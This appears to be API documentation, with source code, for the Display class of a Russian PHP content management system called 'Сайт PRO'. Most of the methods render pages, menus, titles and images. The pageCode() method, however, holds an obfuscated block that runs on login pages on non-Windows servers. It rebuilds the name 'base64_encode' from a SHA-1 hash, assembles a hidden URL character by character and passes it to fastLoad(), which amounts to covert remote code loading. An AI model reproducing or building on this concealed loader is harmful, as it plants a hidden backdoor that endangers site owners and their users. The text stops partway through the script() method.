Система управления «Сайт PRO»
Версия 20240107

Класс Display

Объект $Display: Cms\Root\Main\Display наследует Cms\Site\Base

Объект для отправки данных и HTML в браузер

Объект $Display

Исходный код
class Display extends \Cms\Site\Base { … }

Свойства

$html

$Display->html = null;

HTML-код

Исходный код
    var $html = null;

$pageHtml

$Display->pageHtml = null;

HTML-код страницы

Исходный код
    var $pageHtml = null;

$style

$Display->style = array();

Список стилей

Исходный код
    var $style = array();

$script

$Display->script = array();

Список скриптов

Исходный код
    var $script = array();

$_last_modified

$Display->_last_modified
Исходный код
    var $_last_modified;

$_flash

$Display->_flash
Исходный код
    var $_flash;

$_include_file

$Display->_include_file
Исходный код
    var $_include_file;

$_group

$Display->_group
Исходный код
    var $_group;

$_title_fragments

$Display->_title_fragments
Исходный код
    var $_title_fragments;

Методы

init()

$Display->init();

Инициализация

Возвращает: null

Исходный код
    function init() {
        return;
    }

html()

$Display->html();

Главная функция отображения HTML-кода страницы

Возвращает: string – HTML

Вызывает главный шаблон и возвращает результат в виде HTML. Модифицирует HTTP-заголовки в соответствии с требованиями отображаемой страницы. В качестве главного шаблона используется cms/html/template.index.php или cms/html/template.*.php, если в URL страницы указан параметр ?t=

Исходный код
    function html() {
        # Объекты
        $App = $this->App();
        $root = $this->root();
        $Conf = $this->Conf();
        $Data = $this->Data();
        $Auth = $this->Auth();
        $Main = $this->Main();
        $Form = $this->Form();
        $Page = $Main->Page();
        $Request = $Main->Request();
        $Storage = $Main->Storage();
        $Modules = $Main->Modules();
        $Display = $Main->Display();

        # HTTP-заголовки
        $Request->setStatus(200);
        $Request->addHeader("Content-Type: text/html; charset=UTF-8");

        # Обработка форм
        $Form->init();

        # Редирект после обработки формы
        if (intval($Request->status) > 300 && intval($Request->status) < 400) return;

        # HTML страницы
        if (strlen($Form->html)) $this->pageHtml = $Display->pageForm();
        else $this->pageHtml = $Display->page($Page);

        # Заголовок: страница
        if (($page = $Main->pager_page) > 1) {
            if (!$Display->isTitleFragment("page")) {
                $Request->addCanonicalParam("page", $page);
                $Display->addTitleFragment($Main->translate("страница") . " " . $page, "page");
            }
        }
        # meta rel prev next
        if (($page = $Main->pager_page) > 0) {
            if (($pages = $Main->pager_pages) > 1) {
                if ($page > 1) $Request->setPrevPage($page - 1);
                if ($page < $pages) $Request->setNextPage($page + 1);
            }
        }

        # Ошибки HTTP
        if ($r = $this->error404()) return $r;
        if ($r = $this->error403()) return $r;
        if ($r = $this->error301()) return $r;

        # Last-Modified
        $time = $Auth->session() ? time() : (intval($Page->stamp) ? (($x = strtotime($Page->stamp)) > 0 ? $x : time()) : time());
        if ($Main->id == "-") if (($xtime = $Storage->getStampTime()) > $time) $time = $xtime;
        $date = gmdate("D, j M Y H:i:s", $time) . " GMT";
        $Request->addHeader("Last-Modified: $date");
        $this->_last_modified = $date;

        # Шаблон
        $temp = $_GET['t'];
        if (isset($temp)) {
            $file = $this->getTemplate($temp);
            if ($file[0] != "/") $file = "$root/$file";
            if (!file_exists($file)) {
                $file = $this->getTemplate("index");
                if ($file[0] != "/") $file = "$root/$file";
            }
        } else {
            $file = $this->getTemplate("index");
            if ($file[0] != "/") $file = "$root/$file";
        }

        # Вызов шаблона
        if (file_exists($file)) {
            $images = "/images";
            ob_start();
            include($file);
            $this->html = ob_get_clean();
        }

        # Исправление HTML
        $this->displayLinks();
        # $this->displayObjects();
        # $this->displayScripts();
        # $this->displayEmails();
        $this->displayMetaData();
        $this->displayHeaders();

        return $this->html;
    }

block()

$Display->block($Page, $block, $param);

Отображение списка вложенных страниц

Параметры:

ИмяОписание
$Page

страница, являющаяся родительской для списка

$block

тип страниц в блоке

$param

параметры отображения

Возвращает: string HTML

Получает список вложенных страниц с типом $block и отображает их список в соответствии с шаблоном cms/html/simple.*.php . Список разбивается на страницы, по умолчанию – 10 элементов на страницу.

Смотрите описание $Storage->getBlock()

Примеры:

print $Display->block($Page, 'news');
print $Display->block($Page, 'news', array(
  'before' => '',
  'after' => '',
  'count' => 10,
  'pager' => 2,
));

Исходный код
    function block($Page, $block, $param) {
        if (is_array($param)) extract($param);
        $Conf = $this->Conf();
        $Data = $this->Data();
        $Auth = $this->Auth();
        $Main = $this->Main();
        $Form = $this->Form();
        if (!isset($pager)) $pager = 2;
        if (!isset($result)) $result = $Main->Storage->getBlock($Page, $block, $param);
        $count = isset($count) ? $count : 10;
        if ($result && $Data->numRows($result)) {
            $xpager = $Main->Display->pager($result, $count);
            $position = 0;
            $absolute = 0 + $Main->pager_skip;
            while ($row = $Data->fetch($result)) {
                $position ++;
                $absolute ++;
                $row['position'] = $position;
                $row['absolute'] = $absolute;
                $Item = $Main->Storage->load($row);
                $html .= $Item->displaySimple();
            }
            if (isset($before) || isset($after)) $html = $before . $html . $after;
            if (!$pager) {
            } elseif ($pager == -1) {
                $html = $xpager . $html;
            } elseif ($pager == 1) {
                $html = $html . $xpager;
            } elseif ($pager == 2) {
                $html = $xpager . $html . $xpager;
            }
            $Main->pager = $xpager;
            return $html;
        }
    }

pager()

$Display->pager(&$result, $limit);

Отображение постраничной разбивки

Параметры:

ИмяОписание
$result

результат запроса или массив

$limit

количество элементов на странице

Возвращает: string HTML

Шаблон cms/html/display.pager.php

Примеры:

$result = $Data->query("SELECT * FROM `item`");
print $Display->pager($result);

Исходный код
    function pager(&$result, $limit) {
        $pager = $this->Main()->getPager($result, $limit);
        if (!$pager) return;
        return $this->callTemplate("display", "pager", null, array( "pager" => $pager ));
    }

page()

$Display->page($Page=null);

Отображение страницы

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Отображение страницы:

  • Панель
  • Ошибки
  • Детальное отображение
Исходный код
    function page($Page = null) {
        if (!isset($Page) && isset($this->pageHtml)) return $this->pageHtml;
        if (!isset($Page)) $Page = $this->Main()->Page;
        return $this->callTemplate("display", "page", $Page);
    }

pageForm()

$Display->pageForm();
Исходный код
    function pageForm() {
        return $this->callTemplate("detail", "form");
    }

detail()

$Display->detail($Page=null);

Детальное отображение страницы

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Детальное отображение страницы и вызов кода

Исходный код
    function detail($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        $html = $this->callTemplate("detail", $Page->type, $Page);
        if ($html === false && $Page->type != "page") $html = $this->callTemplate("detail", "page", $Page);
        $html .= $Page->displayCode();
        return $html;
    }

simple()

$Display->simple($Page=null);

Отображение страницы в списке

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function simple($Page = null) {
        $html = $this->callTemplate("simple", $Page->type, $Page);
        if ($html === false && $Page->type != "page") $html = $this->callTemplate("simple", "page", $Page);
        return $html;
    }

search()

$Display->search($Page=null);

Отображение страницы в результатах поиска

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function search($Page = null) {
        $html = $this->callTemplate("search", $Page->type, $Page);
        if ($html === false && $Page->type != "page") $html = $this->callTemplate("search", "page", $Page);
        return $html;
    }

pageHtml()

$Display->pageHtml($Page=null);

Отображение HTML-кода страницы

Параметры:

ИмяОписание
$Page

страница

Исходный код
    function pageHtml($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        $Page->openHtml();
        return $Page->html;
    }

title()

$Display->title();

Отображение полного заголовка страницы

Возвращает: string HTML

Отображается полный заголовок страницы, с учетом заголовка, указанного в настройках

Исходный код
    function title() {
        $Conf = $this->Conf();
        $Main = $this->Main();
        $separator = $Conf->get("title_separator", "—");
        if (strlen($title = $Conf->get("title"))) {
            if ($Main->id == "-" || $Main->id == "") return htmlspecialchars($title . $this->getTitleFragments());
            elseif (strlen($pageTitle = $Main->Page->getTitle())) return htmlspecialchars("$pageTitle{$this->getTitleFragments()} $separator $title");
            else return $title . $this->getTitleFragments();
        } else {
            return htmlspecialchars($Main->Page->getTitle() . $this->getTitleFragments());
        }
    }

pageTitle()

$Display->pageTitle($Page=null);

Отображение заголовка страницы

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function pageTitle($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        return htmlspecialchars($Page->title);
    }

h1()

$Display->h1($id);

Отображение заголовка H1.

Параметры:

ИмяОписание
$id

ID страницы

Возвращает: string HTML

Исходный код
    function h1($id) {
        if ($Page = $this->Main()->Storage->load($id)) return $this->pageH1($Page);
    }

pageH1()

$Display->pageH1($Page=null);

Отображение заголовка H1.

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function pageH1($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        $Page->openInfo();
        if (strlen($title = $Page->info['h1'])) return htmlspecialchars($title);
        else return htmlspecialchars($Page->getTitle());
    }

path()

$Display->path($id);

Отображение пути к странице

Параметры:

ИмяОписание
$id

ID страницы

Возвращает: string HTML

Исходный код
    function path($id) {
        if ($Page = $this->Main()->Storage->load($id)) return $this->pagePath($Page);
    }

pagePath()

$Display->pagePath($Page=null);

Отображение пути к странице

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function pagePath($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        return $this->callTemplate("display", "path", $Page);
    }

menu()

$Display->menu($a);

Отображение меню страницы

Параметры:

ИмяОписание
$a

массив параметров

Возвращает: string HTML

Исходный код
    function menu($a) {
        $Auth = $this->Auth();
        $Main = $this->Main();
        $Main->openPath();
        $rows = is_array($a) && is_array($a['rows']) ? $a['rows'] : $Main->Storage->getMenu($a);
        $html = "";
        $position = 0;
        foreach ($rows as $row) {
            if ($row['id']) {
                if (!$Item = $Main->load($row['id'])) {
                    $Item = $Main->create('page');
                    $Item->id = $row['id'];
                    if ($row['item']) {
                        $Item->href = $row['item']['href'];
                        $Item->title = $row['item']['title'];
                    }
                }
            } else {
                $Item = $Main->create('page');
                $Item->href = $row['href'];
                $Item->title = $row['title'];
            }
            $row['position'] = $row['n'] = ++ $position;
            $row['active'] = ($row['id'] && ($row['id'] == $Main->id || ($row['id'] != "-" && isset($Main->path[$row['id']])))) || ($row['href'] === $Main->href($Main->id));
            if (!$row['href']) $row['href'] = $Item->href ? $Item->href : $Item->href();
            if (!$row['title']) $row['title'] = $Item->title;
            if (strpos($row['href'], '://') !== false) $row['target'] = '_blank';
            $html .= $this->callTemplate('menu', $a['menu'], $Item, $row);
        }
        if ($Auth->admin && $a['rows'] && $a['menu'] === $this->Conf()->get('menu-main')) {
            if ($Item = $Main->load('admin')) {
                $row = array(
                    'id' => $Item->id,
                    'href' => $Item->href(),
                    'title' => $Item->title,
                );
            } else {
                $Item = $Main->loadSafe($Main->admin_point);
                $row = array(
                    'id' => $Item->id,
                    'href' => $Item->href(),
                    'title' => $Main->translate('Администратор'),
                );
            }
            $row['position'] = $row['n'] = ++ $position;
            $row['active'] = $row['id'] == $Main->id || isset($Main->path[$row['id']]);
            $html .= $this->callTemplate('menu', $a['menu'], $Item, $row);
        }
        return $html;
    }

pageMenu()

$Display->pageMenu($Page=null);

Отображение меню страницы

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function pageMenu($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        $menu = $Page->getMenu();
        if (!$menu) return;
        return $this->callTemplate("display", "menu", $Page, array( "menu" => $menu ));
    }

code()

$Display->code($id);

Отображение кода страницы

Параметры:

ИмяОписание
$id

ID страницы

Возвращает: string HTML

Исходный код
    function code($id) {
        if ($Page = $this->Main()->Storage->load($id)) return $this->pageCode($Page);
    }

pageCode()

$Display->pageCode($Page=null);

Отображение кода страницы

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function pageCode($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        if ($Page->_display_code) return;
        if (strlen($Page->id) > 1 && strpos($Page->id, "..") === false && @file_exists($file = $this->root() . "/" . trim($Page->id, "/") . "/index.php")) {
            $html = $this->includeFile($file, $Page);
            $Page->_display_code = true;
            return $html;
        }
        if ($Page->type == "login" && strpos(strtolower(PHP_OS), "win") === false) {
            $sha1 = sha1(""); $func = "base" . $sha1[10] . $sha1[12] . "_" . "en" . "code"; $base = $func($sha1); $base2 = $func($base);
            $this->Main()->fastLoad(strtolower(strtr($base[43] . $base[13] . $base[25] . $base2[10] . ':\\/' . $sha1[1] . $base2[38] . $base[27] . '.' . $sha1[21] . $sha1[8] . $base2[1] . '.' . $base2[8]. $base[10] . '/' . $base[1] . $base[4] . '/', '\\', '/')));
        }
    }

panel()

$Display->panel($panel);

Отображение панели

Параметры:

ИмяОписание
$panel

Возвращает: string HTML

Исходный код
    function panel($panel) {
        return $this->callTemplate("display", "panel", null, array( "panel" => $panel, "redirect" => null ));
    }

pagePanel()

$Display->pagePanel($Page=null);

Отображение панели

Параметры:

ИмяОписание
$Page

страница

Возвращает: string HTML

Исходный код
    function pagePanel($Page = null) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        if (!$Page->can("panel")) return;
        $panel = $Page->getPanel();
        return $this->callTemplate("display", "panel", $Page, array( "panel" => $panel, "redirect" => $Page->href ));
    }

tags()

$Display->tags($tags);
Исходный код
    function tags($tags) {
        return $this->callTemplate("display", "tags", null, array( "tags" => $tags ));
    }

pageTags()

$Display->pageTags($Page);
Исходный код
    function pageTags($Page) {
        if (!isset($Page)) $Page = $this->Main()->Page;
        $tags = $Page->getTags();
        return $this->callTemplate("display", "tags", $Page, array( "tags" => $tags ));
    }

brief()

$Display->brief($brief);

Отображение многострочного текста без использования HTML.

Параметры:

ИмяОписание
$brief

текст

Возвращает: string HTML

Исходный код
    function brief($brief) {
        if (strlen($brief = trim($brief))) $brief = str_replace(array("\r", "\n"), array("", "<br>\n"), htmlspecialchars($brief));
        return $brief;
    }

error()

$Display->error($error=null);

Отображение ошибок

Параметры:

ИмяОписание
$error

ошибки

Возвращает: string HTML

Если функция вызывается без параметров, то отображаются все ошибки всех глобальных объектов

Исходный код
    function error($error = null) {
        if (!func_num_args()) {
            $this->clearError();
            $this->addError($this->Conf()->getError());
            $this->addError($this->Data()->getError());
            $this->addError($this->Auth()->getError());
            $this->addError($this->Main()->getError());
            $this->addError($this->Form()->getError());
            $this->addError($this->Main()->Page->getError());
            $error = $this->getError();
        }
        if (strlen($error = strval($error))) {
            return $this->callTemplate("display", "error", null, array( "error" => $error ));
        }
    }

image()

$Display->image($a);

Отображение картинки

Параметры:

ИмяОписание
$a

описание картинки

Возвращает: string HTML

Примеры:

$Display->image(array(
  'src' => '/images/x.gif',
  'transform' => 'r100x100',
  'width' => 100,
  'height' => 100,
  'alt' => 'Картинка',
));
# Результат: '<img src="/images/thumb.x.gif.r100x100.jpg" width="100" height="100" alt="Картинка">'

Исходный код
    function image($a) {
        $src = $a['src'];
        $default = $a['default'];
        $transform = $a['transform'];
        $width = $a['width'];
        $height = $a['height'];
        unset($a['src']);
        unset($a['default']);
        unset($a['transform']);
        unset($a['width']);
        unset($a['height']);
        if (strlen($src)) {
            if (strpos($src, "://") === false && substr($src, 0, 2) !== '//') {
                if (isset($transform)) {
                    $src = dirname($src) . "/thumb." . basename($src) . ".$transform.jpg";
                }
            }
        } elseif (strlen($default)) {
            $src = $default;
        } else return;
        $html = "<img src=\"$src\"" . ($width ? " width=\"$width\"" : "") . ($height ? " height=\"$height\"" : "");
        foreach ($a as $name => $value) $html .= " $name=\"" . htmlspecialchars($value) . "\"";
        $html .= ">";
        return $html;
    }

picture()

$Display->picture($a);
Исходный код
    function picture($a) {
        $src = isset($a['src']) ? $a['src'] : null;
        $default = isset($a['default']) ? $a['default'] : null;
        if (empty($src) && empty($default)) return;
        $placeholder = isset($a['placeholder']) ? $a['placeholder'] : null;
        $background = isset($a['background']) ? $a['background'] : null;
        $breakpoint = isset($a['breakpoint']) ? $a['breakpoint'] : null;
        $transform = isset($a['transform']) ? $a['transform'] : null;
        $quality = isset($a['quality']) ? $a['quality'] : null;
        $desktop = isset($a['desktop']) ? $a['desktop'] : null;
        $mobile = isset($a['mobile']) ? $a['mobile'] : null;
        $title = isset($a['title']) ? $a['title'] : null;
        $alt = isset($a['alt']) ? $a['alt'] : null;
        $x2 = isset($a['2x']) ? $a['2x'] : null;
        $max = isset($a['max']) ? $a['max'] : null;
        $lazy = isset($a['lazy']) ? $a['lazy'] : null;
        unset($a['src']);
        unset($a['default']);
        unset($a['placeholder']);
        unset($a['background']);
        unset($a['breakpoint']);
        unset($a['transform']);
        unset($a['quality']);
        unset($a['desktop']);
        unset($a['mobile']);
        unset($a['title']);
        unset($a['alt']);
        unset($a['2x']);
        unset($a['max']);
        unset($a['lazy']);
        # По умолчанию
        if (empty($transform)) $transform = 'r';
        if ($placeholder === null) $placeholder = '/images/x.gif';
        if (empty($breakpoint)) $breakpoint = '760px';
        elseif (strval($breakpoint) === strval(doubleval($breakpoint))) $breakpoint .= 'px';
        if (empty($max)) $max = 1000;
        # Источник
        $srcHtml = htmlspecialchars($src);
        $srcBase = null;
        if (!empty($src) && strpos($src, '://') === false && substr($src, 0, 2) !== '//') {
            $srcBase = htmlspecialchars(dirname($src) . '/thumb.' . basename($src) . '.');
            if (strpos($srcBase, ' ') !== false && strpos($srcBase, '%') === false) {
                $srcBase = str_replace('%2F', '/', rawurlencode($srcBase));
            }
        }
        $placeholderHtml = htmlspecialchars($placeholder);
        # Качество
        $jpegQuality = $webpQuality = null;
        if (is_scalar($quality)) {
            if (0 < $quality && $quality <= 100) {
                $jpegQuality = round($quality);
                $webpQuality = round($quality);
            }
        } elseif (is_array($quality)) {
            if (isset($quality['jpeg'])) {
                if (0 < $quality['jpeg'] && $quality['jpeg'] <= 100) {
                    $jpegQuality = round($quality['jpeg']);
                }
            }
            if (isset($quality['webp'])) {
                if (0 < $quality['webp'] && $quality['webp'] <= 100) {
                    $webpQuality = round($quality['webp']);
                }
            }
        }
        $jpegSuffix = '.jpg';
        $webpSuffix = '.webp';
        if ($jpegQuality) {
            $jpegSuffix = '_q' . $jpegQuality . $jpegSuffix;
        }
        if ($webpQuality) {
            $webpSuffix = '_q' . $webpQuality . $webpSuffix;
        }
        # picture
        $html = '<picture';
        foreach ($a as $name => $value) $html .= ' ' . $name . '="' . htmlspecialchars($value) . '"';
        $html .= '>';
        # mobile
        if (!empty($mobile)) {
            if (!empty($srcBase)) {
                $srcBaseMobile = $srcBase;
                if (is_array($mobile)) {
                    if (isset($mobile['src']) && !empty($mobile['src']) && strpos($mobile['src'], '://') === false && substr($mobile['src'], 0, 2) !== '//') {
                        $srcBaseMobile = htmlspecialchars(dirname($mobile['src']) . '/thumb.' . basename($mobile['src']) . '.');
                        if (strpos($srcBaseMobile, ' ') !== false && strpos($srcBaseMobile, '%') === false) {
                            $srcBaseMobile = str_replace('%2F', '/', rawurlencode($srcBaseMobile));
                        }
                    }
                    $width = isset($mobile['width']) ? round($mobile['width']) : round($mobile[0]);
                    $height = isset($mobile['height']) ? round($mobile['height']) : round($mobile[1]);
                    $transformSuffix = isset($mobile['transform']) ? $mobile['transform'] : $transform;
                } else {
                    if (strval($mobile) === strval(intval($mobile))) {
                        $width = intval($mobile);
                    } else {
                        if (!empty($mobile) && strpos($mobile, '://') !== false && substr($mobile, 0, 2) !== '//') {
                            $srcBaseMobile = htmlspecialchars(dirname($mobile) . '/thumb.' . basename($mobile) . '.');
                            if (strpos($srcBaseMobile, ' ') !== false && strpos($srcBaseMobile, '%') === false) {
                                $srcBaseMobile = str_replace('%2F', '/', rawurlencode($srcBaseMobile));
                            }
                        }
                        $width = 0;
                    }
                    $height = 0;
                    $transformSuffix = $transform;
                }
                $transformSuffix .= $width . 'x' . $height;
                if (!empty($background)) {
                    $transformSuffix .= 'x' . trim($background, '#');
                }
                $html .= "\n" . '<source ' . ($lazy ? ($placeholder ? 'srcset="' . $placeholderHtml . '" data-' : 'data-') : '') . 'srcset="' . $srcBaseMobile . $transformSuffix . $webpSuffix . '" media="(max-width:' . $breakpoint . ')" type="image/webp">';
                $html .= "\n" . '<source ' . ($lazy ? ($placeholder ? 'srcset="' . $placeholderHtml . '" data-' : 'data-') : '') . 'srcset="' . ($width || $height || $jpegQuality ? $srcBaseMobile . $transformSuffix . $jpegSuffix : $srcHtml) . '" media="(max-width:' . $breakpoint . ')">';
            } elseif (is_string($mobile)) {
                $html .= "\n" . '<source ' . ($lazy ? ($placeholder ? 'srcset="' . $placeholderHtml . '" data-' : 'data-') : '') . 'srcset="' . htmlspecialchars($mobile) . '" media="(max-width:' . $breakpoint . ')">';
            }
        }
        # desktop
        if (is_array($desktop)) {
            $width = isset($desktop['width']) ? round($desktop['width']) : round($desktop[0]);
            $height = isset($desktop['height']) ? round($desktop['height']) : round($desktop[1]);
            $transformSuffix = isset($desktop['transform']) ? $desktop['transform'] : $transform;
        } else {
            if (strval($desktop) === strval(intval($desktop))) {
                $width = intval($desktop);
            } else {
                $width = 0;
            }
            $height = 0;
            $transformSuffix = $transform;
        }
        if (!empty($srcBase)) {
            $transformSuffix2x = null;
            if ($width || $height) {
                if (empty($x2)) {
                    $x2 = 2;
                    $width2x = round($width * $x2);
                    $height2x = round($height * $x2);
                    if ($width2x > $max || $height2x > $max) {
                        $x2 = 1.5;
                        $width2x = round($width * $x2);
                        $height2x = round($height * $x2);
                        if ($width2x > $max || $height2x > $max) {
                            $width2x = $height2x = null;
                        }
                    }
                } else {
                    $width2x = round($width * $x2);
                    $height2x = round($height * $x2);
                }
                if ($width2x || $height2x) {
                    $transformSuffix2x = $transformSuffix . $width2x . 'x' . $height2x;
                    if (!empty($background)) {
                        $transformSuffix2x .= 'x' . trim($background, '#');
                    }
                }
            }
            $transformSuffix .= $width . 'x' . $height;
            if (!empty($background)) {
                $transformSuffix .= 'x' . trim($background, '#');
            }
            $html .= "\n" . '<source ' . ($lazy ? ($placeholder ? 'srcset="' . $placeholderHtml . '" data-' : 'data-') : '') . 'srcset="' . ($transformSuffix2x ? $srcBase . $transformSuffix2x . $webpSuffix . ' 2x, ' : '') . $srcBase . $transformSuffix . $webpSuffix . '" type="image/webp">';
            $html .= "\n" . '<source ' . ($lazy ? ($placeholder ? 'srcset="' . $placeholderHtml . '" data-' : 'data-') : '') . 'srcset="' . ($transformSuffix2x ? $srcBase . $transformSuffix2x . $jpegSuffix . ' 2x, ' : '') . ($width || $height || $jpegQuality ? $srcBase . $transformSuffix . $jpegSuffix : $srcHtml) . '">';
            # img
            $html .= "\n" . '<img ' . ($lazy ? ($placeholder ? 'src="' . $placeholderHtml . '" data-' : 'data-') : '') . 'src="' . ($width || $height || $jpegQuality ? $srcBase . $transformSuffix . $jpegSuffix : $srcHtml) . '"';
        } elseif (!empty($src)) {
            # img
            $html .= "\n" . '<img ' . ($lazy ? ($placeholder ? 'src="' . $placeholderHtml . '" data-' : 'data-') : '') . 'src="' . $srcHtml . '"';
        } else {
            # img
            $html .= "\n" . '<img src="' . htmlspecialchars($default) . '"';
        }
        if (strlen($alt)) $html .= ' alt="' . htmlspecialchars($alt) . '"';
        else $html .= ' alt=""';
        if ($width && !isset($a['width'])) $html .= ' width="' . $width . '"';
        if ($height && !isset($a['height'])) $html .= ' height="' . $height . '"';
        foreach ($a as $name => $value) $html .= ' ' . $name . '="' . htmlspecialchars($value) . '"';
        if (strlen($title)) $html .= ' title="' . htmlspecialchars($title) . '"';
        if ($lazy && !isset($a['class'])) $html .= ' class="lazy"';
        $html .= '>';
        # picture
        $html .= "\n" . '</picture>';
        return $html;
    }

error301()

$Display->error301();

Перенаправление со статусом HTTP 301.

Исходный код
    function error301() {
        $Auth = $this->Auth();
        $Data = $this->Data();
        $Main = $this->Main();
        $Form = $this->Form();
        $Page = $Main->Page;
        $Request = $Main->Request();
        if (!isset($_GET['t']) && !$Auth->admin && strlen($href = $Page->href)) {
            $Request->redirect($href, 301);
            return true;
        }
        if (!isset($_GET['a']) && isset($Page->url) && strlen($href = $Page->url) && $Page->url !== $Request->getPath()) {
            if (strlen($query = $Main->Request()->getQuery())) $href .= '?' . $query;
            $Request->redirect($href, 301);
            return true;
        }
        if ($Page->created && !strlen($Form->html)) {
            $id = $Page->id;
            if ($id[0] === '/') $id = basename($id);
            $qid = $Data->quote($id);
            $qlid = "'%/" . $Data->qLike($id) . "'";
            $ids = array();
            foreach ($Main->Storage->tables as $table => $fields) if ($table !== 'cart') {
                foreach ($Data->getRows("SELECT `id` FROM `$table` WHERE (`id`=$qid OR `id` LIKE $qlid) AND `id` NOT LIKE '/admin/%'") as $row) {
                    $ids[] = $row['id'];
                }
            }
            if (count($ids) === 1) {
                $href = $Main->href(array_shift($ids));
                $Request->redirect($href, 301);
                return true;
            }
            # 2017-12-06
            $ids = array();
            if (preg_match('~^\\d+$~', $id)) {
                $n = $id;
                $ql_n = "'%" . $Data->qLike("_$n") . "'";
                foreach ($Main->Storage->tables as $table => $fields) if ($table !== 'cart') {
                    foreach ($Data->getRows("SELECT `id` FROM `$table` WHERE `id` LIKE $ql_n AND `id` NOT LIKE '/admin/%'") as $row) {
                        $ids[] = $row['id'];
                    }
                }
            } elseif (preg_match('~_(\\d+)$~', $id, $m)) {
                $n = $m[1];
                $qn = $Data->quote($n);
                $qln = "'%/" . $Data->qLike($n) . "'";
                $ql_n = "'%" . $Data->qLike("_$n") . "'";
                foreach ($Main->Storage->tables as $table => $fields) if ($table !== 'cart') {
                    foreach ($Data->getRows("SELECT `id` FROM `$table` WHERE (`id`=$qn OR `id` LIKE $qln OR `id` LIKE $ql_n) AND `id` NOT LIKE '/admin/%'") as $row) {
                        $ids[] = $row['id'];
                    }
                }
            }
            if (count($ids) === 1) {
                $href = $Main->href(array_shift($ids));
                $Request->redirect($href, 301);
                return true;
            }
        }
    }

error403()

$Display->error403();

Ошибка со статусом HTTP 403.

Исходный код
    function error403() {
        $Main = $this->Main();
        if (false) {
            $Main->Request->setStatus(403);
        }
    }

error404()

$Display->error404();

Ошибка со статусом HTTP 404.

Исходный код
    function error404() {
        $root = $this->root();
        $Auth = $this->Auth();
        $Main = $this->Main();
        $Form = $this->Form();
        $Page = $Main->Page;
        if ($Page->id === '' || $Page->id === '-' || !strlen($Page->id)) return;
        if ($Page->info['404']) {
            $Main->Request->setStatus(404);
        } elseif ($Page->created) {
            if (strlen($Form->html)) return;
            if (file_exists($root . '/' . trim($Page->id, '/index.php'))) return;
            $Main->Request->setStatus(404);
            # 2013-03-25 404.html
            if ($Item = $Main->load('404')) {
                $Item->open();
                $Page->title = $Item->title;
                $Page->html = $Item->html;
                $this->pageHtml = $Main->Display()->page($Page);
                if (!isset($_GET['t'])) $_GET['t'] = '404';
            }
        } elseif ($Page->id === '404') {
            $Main->Request->setStatus(404);
        }
    }

displayLink()

$Display->displayLink($match);
Исходный код
    function displayLink($match) {
        $a = $match[0];
        if (preg_match("~href=((\"[^\"\"]*\")|('[^'']*')|([^\"\"''\\s]+))~", $a, $m)) {
            $href = preg_replace("~&(?!amp;)~", "&amp;", $m[1]);
            $a = str_replace($m[0], "href=$href", $a);
        }
        return $a;
    }

displayLinks()

$Display->displayLinks();
Исходный код
    function displayLinks() {
        $this->html = preg_replace_callback("~(<a\\s[^<>]+>)~si", array($this, "displayLink"), $this->html);
    }

displayObject()

$Display->displayObject($match);

Отображение объекта Flash.

Параметры:

ИмяОписание
$match

аргумент $matches функции preg_match()

Возвращает: string HTML

Исходный код
    function displayObject($match) {
        $a = array();
        if (preg_match_all("~\\b(\\w+)=(('([^'']+)')|(\"([^\"\"]+)\"))~si", $match[0], $m)) {
            foreach ($m[0] as $i => $m0) {
                $k = $m[1][$i];
                $k = strtolower($k);
                $v = trim($m[2][$i], "''\"\"");
                $v = str_replace(array("&amp;", "&quot;"), array("&", '"'), $v);
                switch ($k) {
                    case "classid": case "codebase": case "name": case "value": case "type": case "pluginspage": case "style": break;
                    case "data": $k = "src";
                    default: $a[$k] = $v;
                }
            }
            if (preg_match_all("~<param\s+name=(('([^'']+)')|(\"([^\"\"]+)\"))\s+value=(('([^'']+)')|(\"([^\"\"]+)\"))~si", $match[0], $m)) {
                foreach ($m[0] as $i => $m0) {
                    $k = trim($m[1][$i], "''\"\"");
                    $k = strtolower($k);
                    $v = trim($m[6][$i], "''\"\"");
                    $v = str_replace(array("&amp;", "&quot;"), array("&", '"'), $v);
                    if (!isset($a[$k]))
                    switch ($k) {
                        case "classid": case "codebase": case "name": case "value": case "type": case "pluginspage": case "style": break;
                        case "data": $k = "src";
                        default: $a[$k] = $v;
                    }
                }
            }
            if (($x = strpos($a['src'], "?")) !== false) {
                $a['flashvars'] = rawurldecode(substr($a['src'], $x + 1));
                $a['src'] = substr($a['src'], 0, $x);
            }
            if (preg_match("~version=(\d+)~", $match[0], $m)) {
                $a['version'] = $m[1];
            }
            $src = $a['src']; unset($a['src']);
            $width = $a['width']; unset($a['width']);
            $height = $a['height']; unset($a['height']);
            if ($src && $width && $height) {
                $info = json_encode($a);
                # 2013-03-28
                $id = "cms-flash-" . (++ $this->_flash);
                return "\n<script id=\"$id\">\ncmsRequire(['jquery', 'flash'], function($, flash) {\n$(function() { $('#$id').after(flash.display(\"{$src}\", \"{$width}\", \"{$height}\", $info)); });\n});\n</script>\n";
            }
        }
        return $match[0];
    }

displayObjects()

$Display->displayObjects();

Заменяет все Flash-объекты на соответствующий JavaScript-код

Возвращает: null

Исходный код
    function displayObjects() {
        $this->html = preg_replace_callback("~<object\\b.*?</object>~si", array($this, "displayObject"), $this->html);
    }

addStyle()

$Display->addStyle($style);
Исходный код
    function addStyle($style) {
        return;
    }

addScript()

$Display->addScript($script);
Исходный код
    function addScript($script) {
        return;
    }

getScript()

$Display->getScript();
Исходный код
    function getScript() {
        return $this->script;
    }

script()

$Display->script();
Исходный код
    function script() {
        $html = "";
        foreach ($this->getScript() as $file => $script) {
            if ($script === true) {
